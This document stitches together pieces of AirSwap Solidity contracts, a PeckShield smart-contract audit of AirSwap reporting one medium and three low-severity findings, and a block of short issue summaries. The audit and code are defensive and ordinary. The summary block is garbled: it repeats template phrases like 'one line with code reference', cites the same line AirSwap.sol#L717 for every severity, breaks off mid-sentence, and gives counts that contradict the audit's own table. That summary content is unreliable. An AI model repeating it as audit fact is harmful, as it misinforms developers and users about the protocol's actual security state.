balance = _balanceOfErc20(_tokens[i]); if (balance > 0) { _transferErc20(_transferTo, _tokens[i], balance); } } emit DrainTo(_tokens, _transferTo); } /** * @dev Add a recipient to receive payouts from the consolidateFeeToken function. * @param _account Address of the recipient. * @param _shares Amount of shares to determine th proportion of payout received. */ function addPayee(address _account, uint256 _shares) public onlyOwner { _addPayee(_account, _shares); } /** * @dev Remove a recipient from receiving payouts from the consolidateFeeToken function. * @param _account Address of the recipient. * @param _index Index number of the recipient in the array of recipients. */ function removePayee(address _account, uint256 _index) public onlyOwner { _removePayee(_account, _index); } /** * @dev View Uniswap router path for a token. */ function getTokenPath(address _token) public view onlyOwner returns (address[] memory) { return tokenPathMapping[_token]; } /** * @dev Internal function to approve ERC20 for AMM calls. * @param _tokenToApprove Address of ERC20 to approve. * @param _amount Amount of ERC20 to be approved. * * */ function _approveErc20(address _tokenToApprove, uint256 _amount) internal { require( IERC20(_tokenToApprove).approve(address(uniRouter), _amount), "APPROVE_FAILED" ); } /** * @dev Internal function to transfer ERC20 held in the contract. * @param _recipient Address to receive ERC20. * @param _tokenContract Address of the ERC20. * @param _transferAmount Amount or ERC20 to be transferred. * * */ function _transferErc20( address _recipient, address _tokenContract, uint256 _transferAmount ) internal { IERC20(_tokenContract).safeTransfer(_recipient, _transferAmount); } /** * @dev Internal function to call balanceOf on ERC20. * @param _tokenToBalanceOf Address of ERC20 to call. * * */ function _balanceOfErc20(address _tokenToBalanceOf) internal view returns (uint256) { IERC20 erc; erc = IERC20(_tokenToBalanceOf); uint256 tokenBalance = erc.balanceOf(address(this)); return tokenBalance; } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** * @title TokenPaymentSplitter * @dev Modified version of OpenZeppelin's PaymentSplitter contract. This contract allows to split Token payments * among a group of accounts. The sender does not need to be aware that the Token will be split in this way, since * it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. * * The actual transfer is triggered as a separate function. */ abstract contract TokenPaymentSplitter is Context { uint256 internal _totalShares; mapping(address => uint256) internal _shares; address[] internal _payees; event PayeeAdded(address account, uint256 shares); event PayeeRemoved(address account); /** * @dev Creates an instance of `TokenPaymentSplitter` where each account in `payees` is assigned the number * of shares at the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require( payees.length == shares_.length, "TokenPaymentSplitter: payees and shares length mismatch" ); require(payees.length > 0, "TokenPaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { require(_payees.length >= 1, "TokenPaymentSplitter: There are no payees"); return _payees[index]; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) internal { require( account != address(0), "TokenPaymentSplitter: account is the zero address" ); require(shares_ > 0, "TokenPaymentSplitter: shares are 0"); require( _shares[account] == 0, "TokenPaymentSplitter: account already has shares" ); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } /** * @dev Remove an existing payee from the contract. * @param account The address of the payee to remove. * @param index The position of the payee in the _payees array. */ function _removePayee(address account, uint256 index) internal { require( index < _payees.length, "TokenPaymentSplitter: index not in payee array" ); require( account == _payees[index], "TokenPaymentSplitter: account does not match payee array index" ); _totalShares = _totalShares - _shares[account]; _shares[account] = 0; _payees[index] = _payees[_payees.length - 1]; _payees.pop(); emit PayeeRemoved(account); } }
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked return values (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to return values (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked user input (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to user input (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked user input ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@airswap/swap/contracts/interfaces/ISwap.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "./interfaces/IWETH.sol"; /** * @title Swap: Simple atomic swap * @notice https://www.airswap.io/ */ contract Wrapper is Ownable { using SafeERC20 for IERC20; event WrappedSwapFor(address senderWallet); ISwap public swapContract; IWETH public wethContract; uint256 constant MAX_UINT = 2**256 - 1; /** * @notice Constructor * @param _swapContract address * @param _wethContract address */ constructor(address _swapContract, address _wethContract) { require(_swapContract != address(0), "INVALID_CONTRACT"); require(_wethContract != address(0), "INVALID_WETH_CONTRACT"); swapContract = ISwap(_swapContract); wethContract = IWETH(_wethContract); wethContract.approve(_swapContract, MAX_UINT); } /** * @notice Set the swap contract * @param _swapContract address Address of the new swap contract */ function setSwapContract(address _swapContract) external onlyOwner { require(_swapContract != address(0), "INVALID_CONTRACT"); wethContract.approve(address(swapContract), 0); swapContract = ISwap(_swapContract); wethContract.approve(_swapContract, MAX_UINT); } /** * @notice Required when withdrawing from WETH * @dev During unwraps, WETH.withdraw transfers ether to msg.sender (this contract) */ receive() external payable { // Ensure the message sender is the WETH contract. if (msg.sender != address(wethContract)) { revert("DO_NOT_SEND_ETHER"); } } /** * @notice Wrapped Swap * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function swap( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) public payable { _wrapEther(senderToken, senderAmount); swapContract.swap( address(this), nonce, expiry, signerWallet, signerToken, signerAmount, senderToken, senderAmount, v, r, s ); _unwrapEther(signerToken, signerAmount); emit WrappedSwapFor(msg.sender); } /** * @notice Wrapped BuyNFT * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC721 token transferred from the signer * @param signerID uint256 Token ID transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function buyNFT( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerID, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) public payable { uint256 protocolFee = swapContract.calculateProtocolFee( msg.sender, senderAmount ); _wrapEther(senderToken, senderAmount + protocolFee); swapContract.buyNFT( nonce, expiry, signerWallet, signerToken, signerID, senderToken, senderAmount, v, r, s ); IERC721(signerToken).transferFrom(address(this), msg.sender, signerID); emit WrappedSwapFor(msg.sender); } /** * @notice Wrapped SellNFT * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC721 token transferred from the signer * @param signerAmount uint256 Token ID transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderID uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function sellNFT( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderID, uint8 v, bytes32 r, bytes32 s ) public payable { require(msg.value == 0, "VALUE_MUST_BE_ZERO"); IERC721(senderToken).setApprovalForAll(address(swapContract), true); IERC721(senderToken).transferFrom(msg.sender, address(this), senderID); swapContract.sellNFT( nonce, expiry, signerWallet, signerToken, signerAmount, senderToken, senderID, v, r, s ); _unwrapEther(signerToken, signerAmount); emit WrappedSwapFor(msg.sender); } /** * @notice Wrap Ether into WETH * @param senderAmount uint256 Amount transferred 